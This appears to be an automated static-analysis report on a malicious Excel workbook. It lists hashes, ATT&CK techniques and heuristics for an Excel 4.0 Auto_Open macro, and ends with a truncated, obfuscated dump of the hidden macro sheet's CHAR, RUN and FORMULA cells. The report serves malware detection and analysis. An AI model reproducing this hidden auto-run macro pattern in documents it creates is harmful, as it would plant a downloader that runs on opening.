Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8285eca18c98e80…

MALICIOUS

Office (OLE)

139.0 KB Created: 2020-04-06 16:35:24 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: c61d6da428d58ef3ffd33986d66e9290 SHA-1: f90d655053ff36e27c4bcb86500c972fbc5b5061 SHA-256: c8285eca18c98e802bab62cbf273a1f6568bf2c2bbb8b4413f1498f632974d2f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macros utilize the RUN function with obfuscated arguments, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious stages.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 38987 bytes
SHA-256: ae2ae2ca56d36a88422995554dd2142931c2e0fec59a80891e335cd178a8f5df
Preview script
First 1,000 lines of the extracted script
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  fbQkaRfpY
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  fbQkaRfpY!IN1717 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  fbQkaRfpY,FY3,CHAR(BE1849-77),""
'  fbQkaRfpY,X4,RUN(IY941),""
'  fbQkaRfpY,FY4,RUN(CK1054),""
'  fbQkaRfpY,FX6,CHAR(E1448-77),""
'  fbQkaRfpY,HP6,"",17.00000000000000000000
'  fbQkaRfpY,FX7,RUN(DN767),""
'  fbQkaRfpY,HY7,CHAR(JL989-77),""
'  fbQkaRfpY,DP8,CHAR(Y1090-853),""
'  fbQkaRfpY,HY8,RUN(BC381),""
'  fbQkaRfpY,BR9,"",0.00000000000000000000
'  fbQkaRfpY,DP9,RUN(DU1665),""
'  fbQkaRfpY,DN11,"FORMULA(HW1046&BP793&ER1921&IZ1548&CQ1002&HY576&HQ1172&DA395&GE784&FE1061&IL447&GM1607&GS491&DW1108&JO1071&BL1546&CD878&JF1879&DW1792&IS1187&ET1132&JM1995&FC1581&S821&K259&IZ1522&BG1015&GL812&HP1166&FJ449&DX1650,CB54)",""
'  fbQkaRfpY,EV11,CHAR(CG599-853),""
'  fbQkaRfpY,DN12,RUN(EJ1104),""
'  fbQkaRfpY,EV12,RUN(FZ1835),""
'  fbQkaRfpY,IJ12,RUN(HN437),""
'  fbQkaRfpY,DS14,"",128.00000000000000000000
'  fbQkaRfpY,BD18,RUN(HO1845),""
'  fbQkaRfpY,JB21,CHAR(DK128-77),""
'  fbQkaRfpY,JB22,RUN(HJ1919),""
'  fbQkaRfpY,IW29,"",178.00000000000000000000
'  fbQkaRfpY,DV31,RUN(HF723),""
'  fbQkaRfpY,BI33,"",88.00000000000000000000
'  fbQkaRfpY,BB37,"",94.00000000000000000000
'  fbQkaRfpY,FG37,CHAR(DU1553-853),""
'  fbQkaRfpY,FG38,RUN(HH1973),""
'  fbQkaRfpY,DS47,CHAR(JG1507-77),""
'  fbQkaRfpY,DS48,RUN(DV53),""
'  fbQkaRfpY,FZ49,"",954.00000000000000000000
'  fbQkaRfpY,GG49,"",37.00000000000000000000
'  fbQkaRfpY,DD50,CHAR(HH421-77),""
'  fbQkaRfpY,CT51,RUN(CH1477),""
'  fbQkaRfpY,DA51,RUN(FL1799),""
'  fbQkaRfpY,DD51,RUN(FY254),""
'  fbQkaRfpY,EF54,CHAR(CF1363-77),""
'  fbQkaRfpY,EF55,RUN(HZ1594),""
'  fbQkaRfpY,CI57,"",6.00000000000000000000
'  fbQkaRfpY,IX57,CHAR(CK714-77),""
'  fbQkaRfpY,IX58,RUN(JL1943),""
'  fbQkaRfpY,CZ60,"",162.00000000000000000000
'  fbQkaRfpY,IA60,RUN(HC463),""
'  fbQkaRfpY,GC63,"",30.00000000000000000000
'  fbQkaRfpY,BQ64,RUN(GY766),""
'  fbQkaRfpY,CD65,RUN(DH1950),""
'  fbQkaRfpY,CM65,"",11.00000000000000000000
'  fbQkaRfpY,CM66,"",92.00000000000000000000
'  fbQkaRfpY,HM67,"",182.00000000000000000000
'  fbQkaRfpY,HV69,"",98.00000000000000000000
'  fbQkaRfpY,M70,RUN(FB1419),""
'  fbQkaRfpY,FL74,"",187.00000000000000000000
'  fbQkaRfpY,BY76,RUN(FO1125),""
'  fbQkaRfpY,GK89,"",90.00000000000000000000
'  fbQkaRfpY,EE91,"",12.00000000000000000000
'  fbQkaRfpY,DH95,"",18.00000000000000000000
'  fbQkaRfpY,JI106,RUN(T871),""
'  fbQkaRfpY,GP114,"",967.00000000000000000000
'  fbQkaRfpY,CV115,"",19.00000000000000000000
'  fbQkaRfpY,GW115,"",23.00000000000000000000
'  fbQkaRfpY,BG117,"",153.00000000000000000000
'  fbQkaRfpY,GD118,RUN(HD1902),""
'  fbQkaRfpY,HK118,"",41.00000000000000000000
'  fbQkaRfpY,CG120,"",969.00000000000000000000
'  fbQkaRfpY,IG125,"",69.00000000000000000000
'  fbQkaRfpY,DK128,"",185.00000000000000000000
'  fbQkaRfpY,II129,"",162.00000000000000000000
'  fbQkaRfpY,EJ131,"",25.00000000000000000000
'  fbQkaRfpY,ET131,RUN(EB1768),""
'  fbQkaRfpY,M132,"",30.00000000000000000000
'  fbQkaRfpY,FW134,CHAR(U1799-853),""
'  fbQkaRfpY,FW135,RUN(GW1557),""
'  fbQkaRfpY,JB136,RUN(IB930),""
'  fbQkaRfpY,DW137,RUN(BI1771),""
'  fbQkaRfpY,FL139,"",14.00000000000000000000
'  fbQkaRfpY,DR152,"",9.00000000000000000000
'  fbQkaRfpY,FA153,RUN(BD18),""
'  fbQkaRfpY,EC156,CHAR(EN1372-77),""
'  fbQkaRfpY,EC157,RUN(O239),""
'  fbQkaRfpY,CR158,"",954.00000000000000000000
'  fbQkaRfpY,GF161,"",11.00000000000000000000
'  fbQkaRfpY,FR166,"",174.00000000000000000000
'  fbQkaRfpY,CA167,"",87.00000000000000000000
'  fbQkaRfpY,GH174,"",66.00000000000000000000
'  fbQkaRfpY,HK178,CHAR(DX437-77),""
'  fbQkaRfpY,JL178,"",145.00000000000000000000
'  fbQkaRfpY,HK179,RUN(DQ1325),""
'  fbQkaRfpY,EM181,"",12.00000000000000000000
'  fbQkaRfpY,BA184,RUN(HI512),""
'  fbQkaRfpY,EB186,"",94.00000000000000000000
'  fbQkaR
... (truncated)

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